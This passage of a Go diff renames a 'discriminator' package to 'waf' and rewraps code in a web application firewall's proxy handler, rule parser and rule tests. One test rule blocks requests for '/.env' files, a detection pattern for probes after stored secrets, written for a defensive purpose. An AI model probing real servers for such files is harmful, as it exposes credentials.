|
||||||
errReportRefused = errors.New("the report was answered")
|
errReportRefused = errors.New("the report was answered")
|
||||||
)
|
)
|
||||||
|
|
||||||
// discriminatorAnswer is what discriminator answered to a question.
|
// wafAnswer is what waf answered to a question.
|
||||||
type discriminatorAnswer struct {
|
type wafAnswer struct {
|
||||||
status int
|
status int
|
||||||
header http.Header
|
header http.Header
|
||||||
body []byte
|
body []byte
|
||||||
}
|
}
|
||||||
|
|
||||||
// noteAnswer notes what discriminator answered. An answer without a valid disposition
|
// noteAnswer notes what waf answered. An answer without a valid disposition
|
||||||
// notes nothing, and no report is due for it: discriminator holds no decision to report
|
// notes nothing, and no report is due for it: waf holds no decision to report
|
||||||
// on.
|
// on.
|
||||||
func (rq *request) noteAnswer(answer *discriminatorAnswer) {
|
func (rq *request) noteAnswer(answer *wafAnswer) {
|
||||||
disposition := answer.header.Get(discriminator.DispositionHeader)
|
disposition := answer.header.Get(waf.DispositionHeader)
|
||||||
|
|
||||||
switch disposition {
|
switch disposition {
|
||||||
case discriminator.DispositionAllow, discriminator.DispositionDeny,
|
case waf.DispositionAllow, waf.DispositionDeny,
|
||||||
discriminator.DispositionClose:
|
waf.DispositionClose:
|
||||||
rq.disposition = disposition
|
rq.disposition = disposition
|
||||||
rq.answered = true
|
rq.answered = true
|
||||||
rq.asn = answer.header.Get(asnHeader)
|
rq.asn = answer.header.Get(asnHeader)
|
||||||
@@ -55,27 +57,27 @@ func (rq *request) noteAnswer(answer *discriminatorAnswer) {
|
|||||||
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||||
switch {
|
switch {
|
||||||
case ctx.Err() != nil:
|
case ctx.Err() != nil:
|
||||||
// The visitor went away while discriminator was being asked. discriminator has not
|
// The visitor went away while waf was being asked. waf has not
|
||||||
// failed, and nothing is noted. This panic has Go's server close the
|
// failed, and nothing is noted. This panic has Go's server close the
|
||||||
// connection without an answer, and log nothing; the deferred finish still
|
// connection without an answer, and log nothing; the deferred finish still
|
||||||
// runs.
|
// runs.
|
||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
case errors.Is(err, errCannotPassOn):
|
case errors.Is(err, errCannotPassOn):
|
||||||
rq.h.processLog.Warn("discriminator's answer is dropped", "error", err.Error())
|
rq.h.processLog.Warn("waf's answer is dropped", "error", err.Error())
|
||||||
rq.answer(http.StatusBadGateway)
|
rq.answer(http.StatusBadGateway)
|
||||||
default:
|
default:
|
||||||
// discriminator cannot be connected to, does not answer at all, or does not answer
|
// waf cannot be connected to, does not answer at all, or does not answer
|
||||||
// within SWRP_TIMEOUT_MS. A request that keeps discriminator busy past
|
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
|
||||||
// SWRP_TIMEOUT_MS, like any request while discriminator is overloaded, gets
|
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||||
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||||
// whenever discriminator is slow. Making such requests hard to send is
|
// whenever waf is slow. Making such requests hard to send is
|
||||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||||
rq.h.processLog.Warn("discriminator gave no answer", "error", err.Error())
|
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||||
|
|
||||||
rq.disposition = rq.h.config.DefaultDisposition
|
rq.disposition = rq.h.config.DefaultDisposition
|
||||||
rq.byDefault = true
|
rq.byDefault = true
|
||||||
|
|
||||||
if rq.disposition == discriminator.DispositionAllow {
|
if rq.disposition == waf.DispositionAllow {
|
||||||
rq.passToApp(ctx)
|
rq.passToApp(ctx)
|
||||||
} else {
|
} else {
|
||||||
rq.answer(http.StatusServiceUnavailable)
|
rq.answer(http.StatusServiceUnavailable)
|
||||||
@@ -83,10 +85,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ask sends discriminator the question, and returns its answer, which must have come
|
// ask sends waf the question, and returns its answer, which must have come
|
||||||
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||||
// away.
|
// away.
|
||||||
func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
@@ -95,7 +97,7 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
res, err := rq.h.discriminatorTransport.RoundTrip(question)
|
res, err := rq.h.wafTransport.RoundTrip(question)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("send the question: %w", err)
|
return nil, fmt.Errorf("send the question: %w", err)
|
||||||
}
|
}
|
||||||
@@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
|||||||
// a read of that. Go's client also takes a status below 100, which Go's server
|
// a read of that. Go's client also takes a status below 100, which Go's server
|
||||||
// panics when asked to send.
|
// panics when asked to send.
|
||||||
if res.StatusCode < http.StatusOK {
|
if res.StatusCode < http.StatusOK {
|
||||||
return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
|
return nil, fmt.Errorf(
|
||||||
|
"%w: its status is %d",
|
||||||
|
errCannotPassOn,
|
||||||
|
res.StatusCode,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
||||||
@@ -120,23 +126,27 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
|||||||
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
|
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &discriminatorAnswer{res.StatusCode, res.Header, body}, nil
|
return &wafAnswer{res.StatusCode, res.Header, body}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// canBeAsked reports whether Go's client can send discriminator r as the visitor sent
|
// canBeAsked reports whether Go's client can send waf r as the visitor sent
|
||||||
// it. It cannot send these as they came:
|
// it. It cannot send these as they came:
|
||||||
// - a target that does not start with /, or that starts with //;
|
// - a target that does not start with /, or that starts with //;
|
||||||
// - an empty Host, for which it sends discriminator's own address;
|
// - an empty Host, for which it sends waf's own address;
|
||||||
// - a Host holding an IPv6 zone, which it removes;
|
// - a Host holding an IPv6 zone, which it removes;
|
||||||
// - more than one User-Agent, of which it sends the first;
|
// - more than one User-Agent, of which it sends the first;
|
||||||
// - an empty User-Agent, which it leaves out, the one case that still goes to
|
// - an empty User-Agent, which it leaves out, the one case that still goes to
|
||||||
// discriminator.
|
// waf.
|
||||||
func canBeAsked(r *http.Request) bool {
|
func canBeAsked(r *http.Request) bool {
|
||||||
target, host := r.RequestURI, r.Host
|
target, host := r.RequestURI, r.Host
|
||||||
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
|
hostHasZone := strings.HasPrefix(host, "[") &&
|
||||||
|
strings.Contains(host, "%")
|
||||||
|
|
||||||
return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
|
return strings.HasPrefix(target, "/") &&
|
||||||
host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
|
!strings.HasPrefix(target, "//") &&
|
||||||
|
host != "" &&
|
||||||
|
!hostHasZone &&
|
||||||
|
len(r.Header.Values("User-Agent")) <= 1
|
||||||
}
|
}
|
||||||
|
|
||||||
// newQuestion returns the question about the request, as "The question" in
|
// newQuestion returns the question about the request, as "The question" in
|
||||||
@@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
|
ctx,
|
||||||
|
in.Method,
|
||||||
|
rq.h.config.WAFBackend.String(),
|
||||||
|
bytes.NewReader(held),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the question: %w", err)
|
return nil, fmt.Errorf("make the question: %w", err)
|
||||||
}
|
}
|
||||||
@@ -170,13 +184,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
|||||||
question.TransferEncoding = in.TransferEncoding
|
question.TransferEncoding = in.TransferEncoding
|
||||||
|
|
||||||
question.Header = in.Header.Clone()
|
question.Header = in.Header.Clone()
|
||||||
question.Header.Set(discriminator.ClientHeader, rq.client.String())
|
question.Header.Set(waf.ClientHeader, rq.client.String())
|
||||||
question.Header.Set(discriminator.PeerHeader, rq.peer.String())
|
question.Header.Set(waf.PeerHeader, rq.peer.String())
|
||||||
question.Header.Del(discriminator.ContentLengthHeader)
|
question.Header.Del(waf.ContentLengthHeader)
|
||||||
|
|
||||||
announced := in.Header.Get("Content-Length")
|
announced := in.Header.Get("Content-Length")
|
||||||
if announced != "" {
|
if announced != "" {
|
||||||
question.Header.Set(discriminator.ContentLengthHeader, announced)
|
question.Header.Set(waf.ContentLengthHeader, announced)
|
||||||
}
|
}
|
||||||
|
|
||||||
question.Header.Set(requestIDHeader, rq.id)
|
question.Header.Set(requestIDHeader, rq.id)
|
||||||
@@ -191,13 +205,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
|||||||
return question, nil
|
return question, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerWith gives the visitor discriminator's answer, less its disposition.
|
// answerWith gives the visitor waf's answer, less its disposition.
|
||||||
func (rq *request) answerWith(answer *discriminatorAnswer) {
|
func (rq *request) answerWith(answer *wafAnswer) {
|
||||||
rq.prepareOwnAnswer(rq.requestDeadline())
|
rq.prepareOwnAnswer(rq.requestDeadline())
|
||||||
|
|
||||||
header := rq.out.Header()
|
header := rq.out.Header()
|
||||||
maps.Copy(header, answer.header)
|
maps.Copy(header, answer.header)
|
||||||
header.Del(discriminator.DispositionHeader)
|
header.Del(waf.DispositionHeader)
|
||||||
|
|
||||||
// Go's server adds a Content-Type it guesses from the body to a response whose
|
// Go's server adds a Content-Type it guesses from the body to a response whose
|
||||||
// headers have no Content-Type key. The key with no value sends none.
|
// headers have no Content-Type key. The key with no value sends none.
|
||||||
@@ -208,10 +222,10 @@ func (rq *request) answerWith(answer *discriminatorAnswer) {
|
|||||||
rq.send(answer.status, answer.body)
|
rq.send(answer.status, answer.body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// sendReport sends discriminator report on a goroutine of its own, so that the
|
// sendReport sends waf report on a goroutine of its own, so that the
|
||||||
// visitor does not wait for it. The report goes on after ctx, the request's own
|
// visitor does not wait for it. The report goes on after ctx, the request's own
|
||||||
// context, has ended.
|
// context, has ended.
|
||||||
func (h *handler) sendReport(ctx context.Context, report *discriminator.Report) {
|
func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
||||||
h.reportsMu.Lock()
|
h.reportsMu.Lock()
|
||||||
defer h.reportsMu.Unlock()
|
defer h.reportsMu.Unlock()
|
||||||
|
|
||||||
@@ -227,9 +241,9 @@ func (h *handler) sendReport(ctx context.Context, report *discriminator.Report)
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// postReport posts report to discriminator, and waits for its answer for up to
|
// postReport posts report to waf, and waits for its answer for up to
|
||||||
// SWRP_TIMEOUT_MS.
|
// SWRP_TIMEOUT_MS.
|
||||||
func (h *handler) postReport(ctx context.Context, report *discriminator.Report) error {
|
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||||
body, err := json.Marshal(report)
|
body, err := json.Marshal(report)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the report: %w", err)
|
return fmt.Errorf("encode the report: %w", err)
|
||||||
@@ -246,7 +260,7 @@ func (h *handler) postReport(ctx context.Context, report *discriminator.Report)
|
|||||||
|
|
||||||
req.Header.Set("Content-Type", "application/json")
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
res, err := h.discriminatorTransport.RoundTrip(req)
|
res, err := h.wafTransport.RoundTrip(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("send the report: %w", err)
|
return fmt.Errorf("send the report: %w", err)
|
||||||
}
|
}
|
||||||
@@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *discriminator.Report)
|
|||||||
// The body of a 101 is the connection itself, and the time limit does not end
|
// The body of a 101 is the connection itself, and the time limit does not end
|
||||||
// a read of that.
|
// a read of that.
|
||||||
if res.StatusCode >= http.StatusOK {
|
if res.StatusCode >= http.StatusOK {
|
||||||
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
|
_, _ = io.Copy(
|
||||||
|
io.Discard,
|
||||||
|
io.LimitReader(res.Body, reportAnswerMaxBytes),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
+55
-13
@@ -63,7 +63,9 @@ const escapeLength = 3
|
|||||||
var (
|
var (
|
||||||
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
||||||
// which the fourth, the regex, runs to the end of the line.
|
// which the fourth, the regex, runs to the end of the line.
|
||||||
ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
|
ruleLine = regexp.MustCompile(
|
||||||
|
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
|
||||||
|
)
|
||||||
// idChars are the characters of a rule's id.
|
// idChars are the characters of a rule's id.
|
||||||
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||||
)
|
)
|
||||||
@@ -74,7 +76,8 @@ var (
|
|||||||
"separated by spaces or tabs")
|
"separated by spaces or tabs")
|
||||||
errNotID = errors.New("is not an id of letters, digits, - and _")
|
errNotID = errors.New("is not an id of letters, digits, - and _")
|
||||||
errNotTarget = errors.New(
|
errNotTarget = errors.New(
|
||||||
"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
|
"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
|
||||||
|
)
|
||||||
errNotHeaderName = errors.New(
|
errNotHeaderName = errors.New(
|
||||||
"has a character after header: that no header name can have")
|
"has a character after header: that no header name can have")
|
||||||
errHeaderTakenOut = errors.New(
|
errHeaderTakenOut = errors.New(
|
||||||
@@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
name := entry.Name()
|
name := entry.Name()
|
||||||
if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
|
if entry.IsDir() || strings.HasPrefix(name, ".") ||
|
||||||
|
filepath.Ext(name) != extension {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
// readFile appends the rules of the rule file at path to rules. places
|
// readFile appends the rules of the rule file at path to rules. places
|
||||||
// are where each id read so far is, and gain those of the file.
|
// are where each id read so far is, and gain those of the file.
|
||||||
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
|
func readFile(
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
|
path string,
|
||||||
|
rules []Rule,
|
||||||
|
places map[string]string,
|
||||||
|
) ([]Rule, error) {
|
||||||
|
//nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro
|
|||||||
|
|
||||||
first, used := places[rule.ID]
|
first, used := places[rule.ID]
|
||||||
if used {
|
if used {
|
||||||
return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
|
return nil, fmt.Errorf(
|
||||||
|
"%s: the id %q %w %s",
|
||||||
|
place,
|
||||||
|
rule.ID,
|
||||||
|
errUsedTwice,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
places[rule.ID] = place
|
places[rule.ID] = place
|
||||||
@@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
case !idChars.MatchString(rule.ID):
|
case !idChars.MatchString(rule.ID):
|
||||||
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
||||||
case !isTarget(rule.Target):
|
case !isTarget(rule.Target):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errNotTarget,
|
||||||
|
)
|
||||||
case isHeader && !config.IsHeaderName(headerName):
|
case isHeader && !config.IsHeaderName(headerName):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errNotHeaderName,
|
||||||
|
)
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf(
|
||||||
"the target %q %w; the request's host is the target host",
|
"the target %q %w; the request's host is the target host",
|
||||||
rule.Target, errHeaderTakenOut)
|
rule.Target, errHeaderTakenOut)
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errHeaderTakenOut,
|
||||||
|
)
|
||||||
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
||||||
return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the action %q %w",
|
||||||
|
rule.Action,
|
||||||
|
errNotAction,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
regex, err := regexp.Compile(fields[4])
|
regex, err := regexp.Compile(fields[4])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the regex %w: %w",
|
||||||
|
errNotRegex,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
rule.regex = regex
|
rule.regex = regex
|
||||||
@@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
// isTarget reports whether target is one a rule may have.
|
// isTarget reports whether target is one a rule may have.
|
||||||
func isTarget(target string) bool {
|
func isTarget(target string) bool {
|
||||||
switch target {
|
switch target {
|
||||||
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
|
case pathTarget,
|
||||||
|
"query",
|
||||||
|
uriTarget,
|
||||||
|
"method",
|
||||||
|
"host",
|
||||||
|
"user_agent",
|
||||||
|
"referer":
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool {
|
|||||||
target := value(rule.Target, r)
|
target := value(rule.Target, r)
|
||||||
|
|
||||||
if rule.Target == pathTarget || rule.Target == uriTarget {
|
if rule.Target == pathTarget || rule.Target == uriTarget {
|
||||||
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
|
return rule.regex.MatchString(target) ||
|
||||||
|
rule.regex.MatchString(DecodeOnce(target))
|
||||||
}
|
}
|
||||||
|
|
||||||
return rule.regex.MatchString(target)
|
return rule.regex.MatchString(target)
|
||||||
|
|||||||
@@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
|
|||||||
|
|
||||||
got := len(files.Match(r)) == 1
|
got := len(files.Match(r)) == 1
|
||||||
if got != tc.want {
|
if got != tc.want {
|
||||||
t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
|
t.Errorf(
|
||||||
|
"%s matches %s: %t, want %t",
|
||||||
|
tc.rule,
|
||||||
|
tc.uri,
|
||||||
|
got,
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
|
|||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
||||||
} {
|
} {
|
||||||
r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
|
r := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
target,
|
||||||
|
nil,
|
||||||
|
)
|
||||||
wantMatched(t, files, r, "as-sent")
|
wantMatched(t, files, r, "as-sent")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -146,14 +157,20 @@ after path log ^/
|
|||||||
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
||||||
|
|
||||||
// A ban rule ends it too.
|
// A ban rule ends it too.
|
||||||
files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
|
files = load(
|
||||||
|
t,
|
||||||
|
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
|
||||||
|
)
|
||||||
wantMatched(t, files, get(t, "/"), "ban")
|
wantMatched(t, files, get(t, "/"), "ban")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
|
files := load(
|
||||||
|
t,
|
||||||
|
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
|
||||||
|
)
|
||||||
|
|
||||||
wantMatched(t, files, get(t, "/.env"), "env-file")
|
wantMatched(t, files, get(t, "/.env"), "env-file")
|
||||||
}
|
}
|
||||||
@@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
|
|||||||
|
|
||||||
// The lock file Emacs makes beside a file while it is edited: a link to
|
// The lock file Emacs makes beside a file while it is edited: a link to
|
||||||
// nothing, which cannot be read.
|
// nothing, which cannot be read.
|
||||||
err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
|
err := os.Symlink(
|
||||||
|
"user@host.1234:1700000000",
|
||||||
|
filepath.Join(dir, ".#"+firstFile),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("symlink: %v", err)
|
t.Fatalf("symlink: %v", err)
|
||||||
}
|
}
|
||||||
@@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
|
|||||||
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
||||||
path := filepath.Join(dir, "00-default.rules")
|
path := filepath.Join(dir, "00-default.rules")
|
||||||
|
|
||||||
wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
|
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
|
||||||
|
wantRefused(t, dir, want)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
|
|||||||
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
wantRefused(
|
||||||
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
|
t,
|
||||||
|
dir,
|
||||||
|
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
||||||
|
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
@@ -305,7 +330,9 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
|
params, lines := newParams(
|
||||||
|
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
|
||||||
|
)
|
||||||
|
|
||||||
files, err := rules.Load(params)
|
files, err := rules.Load(params)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -314,7 +341,11 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
|
|
||||||
line := lines.waitFor(t, read)
|
line := lines.waitFor(t, read)
|
||||||
if files.Len() != 0 || line["rules"] != 0.0 {
|
if files.Len() != 0 || line["rules"] != 0.0 {
|
||||||
t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
|
t.Errorf(
|
||||||
|
"%d rules loaded, and the log says %v, want none",
|
||||||
|
files.Len(),
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
|
|
||||||
// The edit's second line has an unknown action, so the rules stay as
|
// The edit's second line has an unknown action, so the rules stay as
|
||||||
// they were, the first line's earlier version included.
|
// they were, the first line's earlier version included.
|
||||||
save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
|
save(
|
||||||
|
t,
|
||||||
|
dir,
|
||||||
|
firstFile,
|
||||||
|
"first path block ^/edited\nsecond path bann ^/second\n",
|
||||||
|
)
|
||||||
|
|
||||||
line := lines.waitFor(t, hasError)
|
line := lines.waitFor(t, hasError)
|
||||||
want := filepath.Join(dir, firstFile) +
|
want := filepath.Join(dir, firstFile) +
|
||||||
@@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
||||||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
||||||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
||||||
t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, want one file_error alert for %q",
|
||||||
|
waiting,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
wantFileError()
|
wantFileError()
|
||||||
@@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
wantMatched(t, files, get(t, "/second"))
|
wantMatched(t, files, get(t, "/second"))
|
||||||
|
|
||||||
// Once mended, the file is read again, and raises no alert.
|
// Once mended, the file is read again, and raises no alert.
|
||||||
save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
|
save(
|
||||||
lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
|
t,
|
||||||
|
dir,
|
||||||
|
firstFile,
|
||||||
|
"first path block ^/edited\nsecond path ban ^/second\n",
|
||||||
|
)
|
||||||
|
lines.waitUntil(
|
||||||
